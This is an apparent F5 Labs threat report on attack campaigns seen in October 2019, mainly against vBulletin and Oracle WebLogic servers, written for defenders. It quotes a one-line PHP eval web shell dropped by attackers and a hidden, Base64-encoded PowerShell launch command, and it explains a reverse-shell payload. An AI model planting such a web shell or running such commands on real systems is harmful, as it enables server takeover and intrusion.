Security researchers at F5 Networks constantly monitor web traffic at various locations all over the world. This allows us to detect “in the wild” malware, and to get an insight into the current threat landscape.
Here’s an overview of the new threat activity we saw in October 2019. Attack campaigns were up 40% from September.
Two campaigns targeting vBulletin servers vulnerable to Remote Code Execution (RCE) vulnerability (CVE-2019-16759).
Four campaigns targeting Oracle WebLogic servers vulnerable to WLS Security Component Remote Code Execution (RCE) vulnerability (CVE-2017-10271).
In addition to these campaigns, the following were also detected:
FortiOS system file leak vulnerability (CVE-2018-13379). This campaign aims to identify vulnerable Fortinet SSL VPN servers.
ElasticSearch Search Groovy Sandbox Bypass (CVE-2015-1427). This campaign aims to exploit ElasticSearch servers vulnerable to ElasticSearch Groovy Scripting Engine Sandbox Security Bypass Vulnerability (CVE-2015-1427). The threat actor instructs the server to download and execute a malicious file.
ThinkPHP Remote Code Execution (CVE-2018-10225). The threat actor instructs the server to download and execute a DDoS malware.
JBoss ReadOnlyAccessFilter of HTTP Invoker Deserialization (CVE-2017-12149). This campaign aims to identify Windows-based JBoss servers vulnerable to JBoss ReadOnlyAccessFilter of HTTP Invoker Deserialization vulnerability. The threat actor instructs the server to download and execute a malicious file.
vBulletin Remote Code Execution (CVE-2019-16759)
In our September monthly wrap-up we discussed a new zero-day vulnerability affecting servers that run vBulletin. In October, we saw multiple threat actors running campaigns to exploit these vulnerable servers.
Some background on this vulnerability: On September 23, an anonymous researcher posted a Proof-of-concept (PoC) zero-day exploit on SecLists.org. The exploit targeted servers that run vBulletin (v5.0.0 - v5.5.4) CMS. The anonymous researcher did not indicate whether he or she tried to contact vBulletin maintainers to follow a responsible disclosure process. However, once the exploit PoC was available, threat actors wasted no time trying to exploit this vulnerability. We analyzed that vBulletin vulnerability in a previous article in this series.
According to ZoomEye, the number of websites using vBulletin has declined (see Figure 1). In our September monthly wrap-up, we noted that the total number of sites using vBulletin was 20,211. Running the scan again in November, we found that the number had dropped to 19,871 vulnerable instances.
Figure 1. Over 19,000 servers are running vBulletin CMS
This vulnerability continues to be seen in new campaigns and targeted in different ways. To accompany September’s analysis, we’re presenting new analysis here on a different attack campaign targeting the same vulnerability. In October, threat actors were very focused on executing commands remotely.
Initial Request
To exploit this vulnerability, a threat actor needs to send a POST request to a vulnerable vBulletin server. The content of the POST request should look like this:
Therefore, the payload to exploit this vulnerability is in the widgetConfig[code] parameter. The full post request is shown in Figure 2.
Figure 2. Initial request sent by the threat actor
Payload Analysis
The value for the "code" parameter in the POST request is passed as a string to exec() function. The threat actor sends a URL encoded string in the "code" parameter.
The threat actor creates a file named webconfig.txt.php within the webserver's root directory. The content of the file is "<?php eval($_POST[1]);?>". This allows the threat actor to execute commands by sending a POST request to this page. The commands are then executed with the same permission set as the user account running the web server.
Oracle WebLogic is a popular application server built using Java. Over the years, we've seen multiple deserialization vulnerabilities affecting these servers. We have covered these vulnerabilities in previous editions of this monthly series.
A new campaign targeting this vulnerability was detected in October; the goal was to execute commands remotely. This differs from previous campaigns attempting to exploit this vulnerability and install crypto mining malware. In this case, to remotely execute commands, a threat actor sent a POST request to a vulnerable WebLogic server with a SOAP message that triggered this deserialization vulnerability.
Initial Request
The threat actor sends a POST request to a vulnerable server. The request uses Java.land.ProcessBuilder to execute a new process. The command passed to the ProcessBuilder is cmd /c %COMSPEC% /b/c start /b /min powershell.exe -nop -w hidden -e <BASE64EncodedCommand>.
Figure 3. Initial request sent by the threat actor
Payload Analysis
Once the initial request completes, the payload (sent by the threat actor) that targets this deserialization vulnerability is executed.
COMSPEC (or ComSpec) is one of the environment variables used in DOS, OS/2, and Windows. It normally points to the command line interpreter, which is by default COMMAND.COM in DOS or CMD.EXE in OS/2 and Windows NT. The script then invokes powershell.exe and provides the following arguments:
-nop (-NoProfile): Does not load the PowerShell profile.
-w (-WindowStyle): Sets the window style for the session.
-e (-EncodedCommand <Base64EncodedCommand>): Accepts a base-64-encoded string version of a command. The string must be formatted using UTF-16LE character encoding.
Figure 4 shows the Base64-decoded command passed to the -e argument. A vulnerable server executes this command.
Figure 4. Base64-decoded string passed as an argument to %COMSPEC%
After decoding the Base64-encoded command string, the command will contain a PowerShell script. The script first checks whether the running process is 32-bit or 64-bit by checking the size of IntPtr. The script then invokes another PowerShell script that contains a compressed Base64- encoded string using a Gzip compression algorithm.
Figure 5. The decompressed Base64-encoded PowerShell code uses DotNet APIs to invoke the Windows API
The script uses random function and variable names to avoid detection by antivirus engines. It also contains another Base64-encoded payload. The threat actor uses .Net APIs to call the Windows API. For example, the script uses the .NET API to find address of VirtualAlloc function exported by kernel32.dll. It then marshals the shellcode by using the pointer to the VirtualAlloc function. In the second call to .NET API, it calls the CreateThread function which is also exported by the kernel32.dll file. The shellcode opens a reverse shell back to the threat actor's machine. This allows for remote code execution, the ultimate goal of this campaign.
Conclusion
Campaigns aimed at targeting Oracle WebLogic continue to rise in popularity. This has been fueled in part by the zero-day vulnerability found in April (CVE-2019-2725). Oracle WebLogic is used widely by large corporations, and the servers are resource intensive. This attracts threat actors looking to exploit the processing power of these servers and remotely execute commands. What makes this month’s vBulletin and Oracle WebLogic campaigns unique is that they don’t seek to install crypto miners as we’ve seen in past months. These campaigns are solely focused on executing commands remotely.
Deserialization vulnerabilities have existed since the inception of serialization. Unsafe deserialization stems from improper input validation. Therefore, it is important for application developers to consider (and secure) the different channels through which inputs to a deserialization function can be received. It’s also important to have a team that monitors the health of your critical systems. A stealthy threat actor might try to harness multiple exploited servers, only using a moderate amount of processing power on each, to avoid detection.
For most organizations, a web application firewall (WAF) serves as the first line of defense for their applications. One that’s well-monitored, configured, and updated should also be able to stop these threat actors from exploiting vulnerable systems within a network.
F5 security researchers continuously monitor new web application exploits to deliver the latest threat intelligence to our customers, as well as the broader IT security community. Join us in continuing the conversation on social media.
Harsh is a Security Researcher at F5 Networks and primarily focuses on threat campaigns in the wild. Prior to joining F5 Networks, Harsh worked as a cybersecurity consultant helping companies solve their security and privacy problems.
Remi Cohen was a Threat Research Evangelist with F5 Labs. Prior to F5 she worked for a large national laboratory conducting vulnerability assessments, and research on current threats as well as an civilian analyst for the US Department of Defense. Her specialty areas of research include mobile vulnerabilities, Industrial Control Systems, and Eastern European threats. She is an associate of (ISC)2 by passing the CISSP exam and is certified in both COMPTIA Security+ and ECCouncil C|EH. She holds a Master’s degree from New Mexico State University in Industrial Engineering as well as Bachelor’s degrees in Computer Science and Government from Georgetown University.
As a Security Threat Researcher for F5 Labs, Debbie specialized in writing threat-related educational content as well as blogs, articles, and comprehensive research reports about application threat intelligence. She had worked for F5 for 10 years and has more than 20 years’ experience in the technology industry as a technical writer. She holds SANS GIAC Information Security Professional (GISP), GIAC Security Essentials (GSEC), and GIAC Security Fundamentals (GISF) certifications. Her bachelor’s degree from the University of Washington is in scientific and technical communication with an emphasis in computer science. She is the author of 18 technology books published by IDG Books, SAMS, QUE, and Alpha Books.
Access control is an essential aspect of information security that enables organizations to protect their most critical resources by controlling who has access to them.
A look at multi-cloud security strategies, including the emerging practices of omni-cloud, Functions as a Service, Containers as a Service, cloud security posture management, and data sovereignty.
